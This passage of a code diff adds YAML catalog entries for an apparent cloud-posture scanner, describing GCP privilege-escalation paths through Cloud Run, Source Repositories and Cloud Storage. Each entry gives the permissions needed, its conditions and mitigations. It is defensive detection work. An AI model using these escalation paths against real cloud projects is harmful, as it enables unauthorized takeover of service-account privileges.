a/src/privilege-escalation-paths-cspm-reviewed/gcp/run.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/run.yaml new file mode 100644 index 0000000000..1964286f77 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/run.yaml @@ -0,0 +1,540 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP Cloud Run (services, jobs, worker pools) privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-run-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# actAs is enforced at create/update on the runtime SA (the Compute default SA when none is set); it is NOT re-checked at +# execution, so execution-time levers on an existing resource reach its pinned SA without actAs. + +- id: gcp-run-services-create-actas + provider: gcp + service: run + title: Deploy a Cloud Run service running as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#runservicescreate--iamserviceaccountsactas-runroutesinvoke + source_revision: 171e422 + summary: The source may run new code under a same-project service account when it can attach that account, create a Cloud Run service in that project, and the Cloud Run API is enabled. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + gcp_run_service_create_path: true + scope: same_project + aggregate_as: "Service accounts usable as Cloud Run service identity in {project}" + conditions: + - id: service_create_project + description: The selector checks service creation on the target account's project and keeps undecidable future-resource conditions unresolved. + - id: cloud_run_api + description: The Cloud Run API must be enabled in that project. + - id: invoke_path + description: run.routes.invoke (or a public service) is needed only to trigger request-time code; container startup code runs without invocation. + - id: cross_project_sa + description: Cross-project service-account attachment has separate policy and service-agent requirements, modelled by gcp-run-services-create-cross-project-actas. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: derived + severity: critical + mitigation: Grant actAs (roles/iam.serviceAccountUser) only on specific SAs; restrict roles/run.developer and roles/run.admin. + references: + - https://cloud.google.com/run/docs/securing/service-identity + - https://docs.cloud.google.com/run/docs/reference/rest/v2/projects.locations.services/create + - https://docs.cloud.google.com/service-usage/docs/reference/rest/v1/services/list + notes: New code can run during container startup; request-time code additionally needs an invoker or a public service. + +- id: gcp-run-services-update-actas + provider: gcp + service: run + title: Redeploy an existing Cloud Run service with new code, environment or identity + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#runservicesupdate--iamserviceaccountsactas + source_revision: 171e422 + summary: The source may deploy new code under a same-project service account when it can update one exact ready Cloud Run service in that project and attach the account with actAs. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + gcp_run_service_update_path: true + scope: same_project + aggregate_as: "Service accounts attachable to existing Cloud Run services in {project}" + conditions: + - id: existing_service + description: The selector checks run.services.update on one undeleted, ready service in the target account's project. Failed or reconciling services remain unresolved. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Restrict run.services.update and grant actAs only on specific SAs. + references: + - https://docs.cloud.google.com/run/docs/configuring/services/service-identity + - https://docs.cloud.google.com/run/docs/reference/rest/v2/projects.locations.services/patch + - https://docs.cloud.google.com/run/docs/reference/rest/v2/projects.locations.services + notes: Updating the image can introduce new code. The service must later receive traffic or maintain warm instances for that code to start. + +- id: gcp-run-services-setiampolicy-actas + provider: gcp + service: run + title: Self-grant update rights on a Cloud Run service through its IAM policy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#runservicessetiampolicy + source_revision: 171e422 + summary: The source may run new code as a service's pinned account when it can change that exact service's IAM policy, grant itself missing update rights, and use actAs on the account. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + attached_to_service: run_service + gcp_actas_granted_on_target: true + gcp_run_service_policy_update_path: true + scope: any + aggregate_as: "SAs of Cloud Run services whose IAM policy the source controls" + conditions: + - id: followup_update + description: The selector requires setIamPolicy on the same ready service, a collected policy, a grantable Cloud Run Developer role that adds update, and clear known policy restrictions. actAs on the pinned identity is also required. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict run.services.setIamPolicy (roles/run.admin, roles/owner). + references: + - https://docs.cloud.google.com/run/docs/reference/iam/roles + - https://docs.cloud.google.com/run/docs/configuring/services/service-identity + notes: The update can replace the image, while actual code startup depends on the service receiving traffic or maintaining warm instances. + +- id: gcp-run-jobs-create-run-actas + provider: gcp + service: run + title: Create and execute a Cloud Run job running as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#runjobscreate-runjobsrun-iamserviceaccountsactasrunjobsget + source_revision: 171e422 + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_run_job_create_execute_path: true + scope: same_project + aggregate_as: "Service accounts usable as Cloud Run job identity in {project}" + conditions: + - id: same_project_execution + description: The selector requires create and run on the same target project, so a new job can inherit both grants. + - id: cloud_run_api + description: The host project's Cloud Run API must be enabled before a new job can be created. + - id: cross_project_sa + description: Cross-project service-account attachment is covered by gcp-run-jobs-create-run-cross-project-actas. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Grant actAs only on specific SAs; roles/editor bundles both actAs and job create/run. + references: + - https://docs.cloud.google.com/run/docs/configuring/jobs/service-identity + - https://docs.cloud.google.com/run/docs/execute/jobs + notes: Omitting the SA does not bypass actAs; it is enforced on the Compute default SA. A job created in the project inherits project-level run permission. No ingress is needed. + +- id: gcp-run-jobs-update-run-actas + provider: gcp + service: run + title: Update and execute an existing Cloud Run job with new code or identity + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#runjobsupdaterunjobsruniamserviceaccountsactasrunjobsget + source_revision: 171e422 + summary: The source may run new code as a service account in the same project when it can update and execute one exact ready Cloud Run job and attach that account with actAs. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + gcp_run_job_update_execute_path: true + scope: same_project + aggregate_as: "Service accounts attachable to existing Cloud Run jobs in {project}" + conditions: + - id: existing_job + description: The selector checks run.jobs.update and run.jobs.run on the same undeleted, ready job in the target account's project. Failed or reconciling jobs remain unresolved. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Restrict run.jobs.update and grant actAs only on specific SAs. + references: + - https://docs.cloud.google.com/run/docs/configuring/jobs/service-identity + - https://docs.cloud.google.com/run/docs/reference/rest/v2/projects.locations.jobs/patch + - https://docs.cloud.google.com/run/docs/reference/rest/v2/projects.locations.jobs + notes: A job update can replace the image and service account. The selector requires execution permission on that same job after the update. + +- id: gcp-run-workerpools-create-update-actas + provider: gcp + service: run + title: Deploy or update a Cloud Run worker pool running as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#runworkerpoolscreate--update-iamserviceaccountsactas--a-third-run-as-sa-resource + source_revision: 171e422 + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + gcp_run_worker_pool_create_or_update_path: true + scope: same_project + aggregate_as: "Service accounts usable as Cloud Run worker pool identity in {project}" + conditions: + - id: update_requires_existing + description: The selector checks create permission with an enabled Cloud Run API or update permission on an exact, ready, undeleted worker pool; unresolved state remains unknown. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Grant actAs only on specific SAs; restrict run.workerpools create/update. + references: + - https://docs.cloud.google.com/run/docs/configuring/workerpools/service-identity + - https://docs.cloud.google.com/run/docs/reference/rest/v2/projects.locations.workerPools + +- id: gcp-run-ssh-into-running-instance + provider: gcp + service: run + title: SSH into a Cloud Run service container and use its service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#cloud-run-instance-ssh--runsshread--runsshroot-exec-inside-a-running-container-as-its-sa-no-actas + source_revision: 171e422 + summary: The source may reach the service identity through root SSH on an enabled second-generation Cloud Run service when it can also act as that identity; IAP and OS Login access remain conditional. + requires: + all_of: + - action: run.services.sshRoot + resource: "{target.host_resource}" + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + attached_to_service: run_service + gcp_run_service_ssh_path: true + scope: any + aggregate_as: "SAs of Cloud Run services the source can SSH into" + conditions: + - id: early_access + description: The interactive SSH step is early-access/allowlisted; the IAM permissions exist but the exec path may be unavailable to the project. + - id: service_ready + description: The selector checks that SSH is enabled on a ready second-generation service; Cloud Run can start an instance for the session when none is running. + - id: iap_and_os_login + description: The session also needs an allowed IAP tunnel and OS Login access; those grants are not in the Cloud Run service inventory. + - id: root_ssh + description: The documented connection path requires root SSH and actAs on the service identity; sshRead alone does not establish this path. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict root SSH and actAs grants on services with privileged identities. + references: + - https://docs.cloud.google.com/iap/docs/ssh-cloud-run + notes: The exact ready second-generation service and root SSH grant are joined to its service account; IAP and OS Login controls can still prevent a session. + +- id: gcp-run-instances-create-update-actas + provider: gcp + service: run + title: Deploy or update a standalone Cloud Run instance running as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#runservicesupdate--iamserviceaccountsactas + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs, by attaching it to a Cloud Run instance whose container it controls. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_run_instance_create_or_update_path: true + scope: same_project + aggregate_as: "Service accounts usable as Cloud Run instance identity in {project}" + conditions: + - id: preview_feature + description: Cloud Run instances are a preview resource; the API must be available to the project. + - id: update_requires_existing + description: The update path needs an existing instance that is ready, or separate start permission when its running state is unresolved. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Grant actAs only on specific SAs and restrict run.instances create/update (roles/run.editor, roles/run.admin). + notes: The create path checks project permission. The update path checks permission on an exact, undeleted instance and its readiness or start permission. This same-project path is conditional because instance availability and code execution still depend on Cloud Run. +- id: gcp-run-jobs-setiampolicy + provider: gcp + service: run + title: Self-grant execute-with-overrides on an existing Cloud Run job through its IAM policy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#runjobssetiampolicy + source_revision: 171e422 + summary: The source may run code as the service account pinned to an existing ready Cloud Run job when its policy write can add the missing job permissions and the exact job supports an executable path. + requires: + all_of: [] + source_kind: + - gcp_user + - gcp_service_account + target: + kind: gcp_service_account + selector: + attached_to_service: run_job + gcp_run_job_policy_override_path: true + scope: any + aggregate_as: SAs pinned to Cloud Run jobs whose IAM policy the source controls + conditions: + - id: exact_job_policy + description: The selector checks setIamPolicy and a collected IAM policy on the same ready, undeleted job that uses the target service account. The new grant must add a missing permission and pass known deny and member constraints. + - id: override_injectable + description: The Jobs Executor With Overrides role can add run and runWithOverrides on that job. Without actAs, the recorded command must be an interpreter that accepts code through overridden arguments. + - id: actas_alternative + description: With derived actAs on the pinned service account, the Cloud Run Developer role can add job update and run rights on that job so the source may replace its image and execute it. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict run.jobs.setIamPolicy (roles/run.admin, roles/owner) and avoid pinning privileged SAs to jobs. + references: + - https://docs.cloud.google.com/run/docs/reference/iam/roles + - https://docs.cloud.google.com/run/docs/configuring/jobs/service-identity + - https://docs.cloud.google.com/run/docs/reference/rest/v2/projects.locations.jobs/run + notes: The selector keeps missing policy, role, boundary, and image-entrypoint evidence unresolved. It does not report a new path when the source already holds the needed job actions. +- id: gcp-run-jobs-runwithoverrides + provider: gcp + service: run + title: Execute an existing Cloud Run job with overridden args or environment + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#runjobsrun-runjobsrunwithoverrides-runjobsget + source_revision: 171e422 + summary: The source may run attacker-supplied code as a job's pinned service account when it can execute that exact ready job with argument overrides and the recorded command is an interpreter that accepts code through arguments. + requires: + all_of: [] + source_kind: + - gcp_user + - gcp_service_account + target: + kind: gcp_service_account + selector: + attached_to_service: run_job + gcp_run_job_override_path: true + scope: any + aggregate_as: SAs pinned to Cloud Run jobs the source can run with overrides + conditions: + - id: exact_job_run + description: The selector checks run and runWithOverrides on the same collected job that uses the target service account. + - id: override_injectable + description: Overrides cannot change image or command. The selector reports a path only when a recorded interpreter command can execute overridden arguments; other images remain unresolved. + - id: ready_job + description: The exact job must not be deleted and must have a succeeded terminal condition with reconciliation complete. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Do not grant roles/run.jobsExecutorWithOverrides on jobs pinned to privileged SAs. + references: + - https://docs.cloud.google.com/run/docs/reference/rest/v2/projects.locations.jobs/run + - https://docs.cloud.google.com/run/docs/reference/rest/v2/projects.locations.jobs + notes: No actAs is needed because the run-as identity is fixed at create/update. Jobs with unknown entrypoints remain unresolved instead of being reported as usable code execution. +- id: gcp-run-instances-ssh + provider: gcp + service: run + title: SSH into a running standalone Cloud Run instance and use its service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#cloud-run-instance-ssh--runsshread--runsshroot-exec-inside-a-running-container-as-its-sa-no-actas + source_revision: 6fb9ac51fd + summary: Root SSH access to a ready or startable Cloud Run instance may let the source use its attached service account. Read-only SSH access is kept unresolved because it does not prove command execution or token use. + requires: + any_of: + - - action: run.instances.sshRoot + resource: '{target.host_resource}' + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + - - action: run.instances.sshRead + resource: '{target.host_resource}' + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + target: + kind: gcp_service_account + selector: + attached_to_service: run_instance + gcp_actas_granted_on_target: true + gcp_run_instance_ssh_path: true + scope: any + aggregate_as: SAs of running Cloud Run instances the source can SSH into + conditions: + - id: early_access + description: The interactive SSH step is early-access/allowlisted; the IAM permissions exist but the exec path may be unavailable to the project. + - id: iap_and_os_login + description: The session also needs an allowed IAP tunnel and OS Login access; those grants are not in this Cloud Run instance inventory. + - id: service_account_user + description: Google documents Service Account User on the attached service account as a connection requirement; the exact actAs grant is checked. + - id: sshread_capability + description: sshRead permits reading data, but does not establish command execution or service-account token access; read-only paths stay unresolved. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict roles/run.sshRoot, roles/run.sshReader and roles/run.editor on instances with privileged SAs. + references: + - https://docs.cloud.google.com/iap/docs/ssh-cloud-run + - https://docs.cloud.google.com/iam/docs/roles-permissions/run + notes: The selector joins an exact undeleted instance, attached service account, root SSH permission, exact actAs grant, SSH setting, readiness or start permission. IAP and OS Login access still affect whether a session can be established. +- id: gcp-run-workerpools-setiampolicy-actas + provider: gcp + service: run + title: Self-grant update rights on a Cloud Run worker pool through its IAM policy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#runworkerpoolscreate--update-iamserviceaccountsactas--a-third-run-as-sa-resource + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of the service account of every Cloud Run worker pool on which it holds run.workerpools.setIamPolicy and actAs on that SA. + requires: + all_of: + - action: run.workerpools.setIamPolicy + resource: '{target.host_resource}' + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + target: + kind: gcp_service_account + selector: + attached_to_service: run_worker_pool + gcp_actas_granted_on_target: true + gcp_run_worker_pool_policy_update_path: true + scope: any + aggregate_as: SAs of Cloud Run worker pools whose IAM policy the source controls + conditions: + - id: followup_update + description: The selector needs an exact ready pool, complete policy and grantable Developer role, a missing update grant, and clear member, deny and boundary restrictions before the self-grant path is considered. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict run.workerpools.setIamPolicy (roles/run.admin, roles/owner). + references: + - https://docs.cloud.google.com/run/docs/configuring/workerpools/service-identity + - https://docs.cloud.google.com/run/docs/reference/rest/v2/projects.locations.workerPools + notes: Policy write alone is insufficient; the selector checks the new update permission on the same pool. +- id: gcp-run-services-create-cross-project-actas + provider: gcp + service: run + title: Deploy a Cloud Run service with a cross-project service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#runservicescreate--iamserviceaccountsactas-runroutesinvoke + source_revision: 171e422 + summary: The source may run a new Cloud Run service under a service account from another project when the target project allows cross-project attachment and the Cloud Run service agent can mint its tokens. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_cross_project_run_service: true + scope: any + aggregate_as: "Service accounts attachable to new Cloud Run services in another project" + conditions: + - id: host_service_create + description: The host project must grant service creation and have the Cloud Run API enabled. + - id: cross_project_service_agent + description: The project creating the service must grant its Cloud Run service agent Service Account Token Creator on the target service account. + - id: cross_project_org_policy + description: The effective iam.disableCrossProjectServiceAccountUsage policy on the target service account's project must be unenforced. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Restrict cross-project service account attachment, Cloud Run service-agent token grants, and deployer actAs permissions to the intended projects. + references: + - https://cloud.google.com/run/docs/configuring/services/service-identity + - https://docs.cloud.google.com/service-usage/docs/reference/rest/v1/services/list + notes: The selector joins a project-scoped create grant and enabled API in the same host project before checking target policy and service-agent token rights. + +- id: gcp-run-jobs-create-run-cross-project-actas + provider: gcp + service: run + title: Create and execute a Cloud Run job with a cross-project service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#runjobscreate-runjobsrun-iamserviceaccountsactasrunjobsget + source_revision: 171e422 + summary: The source may execute a new job under a service account from another project when cross-project attachment is allowed and the Cloud Run service agent can mint its tokens. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_cross_project_run_job: true + scope: any + aggregate_as: "Service accounts usable by jobs in another project" + conditions: + - id: same_host_job_execution + description: The host project must grant both job creation and execution for a newly created job. + - id: cloud_run_api + description: The Cloud Run API must be enabled in the host project. + - id: cross_project_service_agent + description: The job project's Cloud Run service agent must have Service Account Token Creator on the target service account. + - id: cross_project_org_policy + description: The target service account project's effective iam.disableCrossProjectServiceAccountUsage policy must be unenforced. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Limit cross-project attachment, service-agent token grants, and deployer actAs to intended projects and service accounts. + references: + - https://docs.cloud.google.com/run/docs/configuring/jobs/service-identity + - https://docs.cloud.google.com/service-usage/docs/reference/rest/v1/services/list + notes: The selector joins create and run in one collected host project with an enabled Cloud Run API, then checks the target project's policy and the host service agent's token access. + +- id: gcp-run-instances-create-update-cross-project-actas + provider: gcp + service: run + title: Deploy or update a Cloud Run instance with a cross-project service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#runservicesupdate--iamserviceaccountsactas + source_revision: 6fb9ac51fd + summary: The source may run an instance under a service account from another project when the host action, cross-project attachment policy, and Cloud Run service-agent token grant all allow it. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_cross_project_run_instance: true + scope: any + aggregate_as: "Service accounts usable by Cloud Run instances in another project" + conditions: + - id: preview_feature + description: Cloud Run instances are a preview resource and must be available in the host project and region. + - id: cross_project_service_agent + description: The host project's Cloud Run service agent must have Service Account Token Creator on the target service account. + - id: cross_project_org_policy + description: The service-account project's effective iam.disableCrossProjectServiceAccountUsage policy must be unenforced. + - id: update_requires_existing + description: The update path needs an exact undeleted instance that is ready or can be started by the source. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Limit instance create or update rights, service-account actAs, cross-project attachment, and service-agent token grants to intended resources. + references: + - https://docs.cloud.google.com/run/docs/configuring/instances/service-identity + notes: The create path checks project permission. The update path checks the exact existing instance and its state. The target service account belongs to another project. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/saasservicemgmt.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/saasservicemgmt.yaml new file mode 100644 index 0000000000..b3349b743a --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/saasservicemgmt.yaml @@ -0,0 +1,7 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP App Lifecycle Manager (SaaS Runtime, saasservicemgmt) privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-app-lifecycle-manager-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# attached_to_service: saasservicemgmt_unit -> the actuation_sa input variable of an existing provisioned Unit +# ("{target.host_resource}" = that Unit); Unit inventory is not collected. +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/secretmanager.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/secretmanager.yaml new file mode 100644 index 0000000000..667266877c --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/secretmanager.yaml @@ -0,0 +1,2 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/securesourcemanager.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/securesourcemanager.yaml new file mode 100644 index 0000000000..d70dd91b0d --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/securesourcemanager.yaml @@ -0,0 +1,7 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP Secure Source Manager privilege escalation techniques (repository write into CI/CD). +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-secure-source-manager-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# attached_to_service: sourcerepo_trigger_consumer -> run-as SA of Cloud Build triggers / Cloud Deploy pipelines that build +# from the repository in "{target.artifact_arn}" (directly or through Developer Connect). +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/sourcerepos.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/sourcerepos.yaml new file mode 100644 index 0000000000..6ec8503379 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/sourcerepos.yaml @@ -0,0 +1,62 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP Cloud Source Repositories privilege escalation techniques (legacy service, unavailable to new customers). +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-sourcerepos-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml (attached_to_service sourcerepo_trigger_consumer +# as defined in securesourcemanager.yaml). +- id: gcp-sourcerepos-update-build-trigger + provider: gcp + service: source + title: Push code to a Cloud Source repository that feeds a Cloud Build trigger + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-sourcerepos-privesc.md#sourcereposupdate--poison-source-consumed-by-a-privileged-cloud-build-trigger + source_revision: 171e422 + summary: The source can obtain the privileges of the build service accounts of triggers that build from Cloud Source repositories on which it holds source.repos.update. + requires: + all_of: + - action: source.repos.update + resource: '{target.artifact_arn}' + target: + kind: gcp_service_account + selector: + gcp_sourcerepo_trigger_path: push + scope: any + aggregate_as: Build SAs of triggers on writable Cloud Source repositories + conditions: + - id: trigger + description: An existing enabled Cloud Build trigger on the repository must accept the push (ref, included/ignored-file filters, no unmet approval) and execute repository-controlled content; the trigger's pinned service account is used and a serviceAccount field in the repo build config is ignored. + - id: end_of_sale + description: Cloud Source Repositories is unavailable to new customers since 2024-06-17; only existing eligible organizations still use it. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict source.repos.update (roles/source.writer, roles/source.editor, roles/source.admin, roles/editor) on repositories with build triggers and require approval on triggers. + references: + - https://docs.cloud.google.com/build/docs/securing-builds/configure-access-control + notes: No cloudbuild.builds.create or iam.serviceAccounts.actAs is needed to cause the repository event; the writer cannot choose the build identity. +- id: gcp-sourcerepos-setiampolicy + provider: gcp + service: source + title: Self-grant repository write access through the repository IAM policy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-sourcerepos-privesc.md#sourcerepossetiampolicy--self-grant-repository-write-access + source_revision: 171e422 + summary: The source can obtain the privileges of the build service accounts of triggers that build from Cloud Source repositories whose IAM policy it controls. + requires: + all_of: + - action: source.repos.setIamPolicy + resource: '{target.artifact_arn}' + target: + kind: gcp_service_account + selector: + gcp_sourcerepo_trigger_path: selfgrant + scope: any + aggregate_as: Build SAs of triggers on Cloud Source repositories whose IAM the source controls + conditions: + - id: followup_push + description: The self-granted roles/source.writer (or admin) is then used as in gcp-sourcerepos-update-build-trigger, with all of its trigger prerequisites. + - id: no_public_members + description: Cloud Source Repositories rejects allUsers/allAuthenticatedUsers bindings; the grantee must be an attacker-controlled IAM principal. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict source.repos.setIamPolicy (roles/source.admin, roles/owner). diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/storage.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/storage.yaml new file mode 100644 index 0000000000..0b4230c4ab --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/storage.yaml @@ -0,0 +1,219 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP Cloud Storage privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-storage-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# Service-specific bucket write techniques (Composer, Cloud Functions, App Engine, Dataflow) live in those service files. + +- id: gcp-storage-hmackeys-create + provider: gcp + service: storage + title: Create an HMAC key for an in-project service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md#storagehmackeyscreate--mint-a-cloud-storage-credential-for-another-service-account + source_revision: 171e422 + summary: The source may create a Cloud Storage HMAC credential for an enabled service account in a project where it holds storage.hmacKeys.create. The credential grants only that account's Cloud Storage XML API access. + requires: + all_of: + - action: storage.hmacKeys.create + resource: "*" + target: + kind: gcp_verified_authority + selector: + gcp_hmac_storage_identity: true + gcp_sa_in_scope_of_permission: true + scope: same_project + outcome: bounded_authority + aggregate_as: "Cloud Storage HMAC access through service accounts in {project}" + conditions: + - id: storage_only + description: An HMAC key authenticates only to the Cloud Storage XML (S3-interoperable) API, so only the SA's Cloud Storage permissions are obtained, not its other IAM permissions. + - id: hmac_constraint + description: Org policy storage.restrictAuthTypes rejects creation and use only when its denied values cover service-account HMAC signed requests. + - id: key_quota + description: The service account must have fewer than 10 non-deleted HMAC keys. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + - {id: org_policy_constraint, constraint: storage.restrictAuthTypes} + - {id: org_policy_constraint, constraint: iam.disableServiceAccountKeyCreation} + - {id: org_policy_constraint, constraint: iam.managed.disableServiceAccountKeyCreation} + confidence: conditional + severity: high + mitigation: Restrict storage.hmacKeys.create (roles/storage.hmacKeyAdmin, roles/storage.admin at project level) and enforce storage.restrictAuthTypes. + references: + - https://cloud.google.com/storage/docs/authentication/hmackeys + - https://docs.cloud.google.com/storage/docs/authentication/managing-hmackeys + - https://docs.cloud.google.com/storage/docs/json_api/v1/projects/hmacKeys/create + notes: No actAs or SA-level permission is needed; any enabled in-project SA email is accepted (HackTricks). The distinct bounded-authority target prevents an HMAC credential from being treated as a full service-account pivot. + +- id: gcp-storage-buckets-setiampolicy-code-consumers + provider: gcp + service: storage + title: Self-grant object write on a bucket used by Dataproc or an unpinned Cloud Build source + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md#storagebucketssetiampolicy--storagemanagedfolderssetiampolicy--resource-scoped-self-grant + source_revision: 6fb9ac51fd + summary: The source may obtain the privileges of a Dataproc cluster or a recorded Cloud Build service account when it can change the IAM policy of a bucket holding code the workload later loads. + requires: + all_of: + - action: storage.buckets.setIamPolicy + resource: "{target.host_resource.content_storage}" + target: + kind: gcp_service_account + selector: + attached_to_service: + - 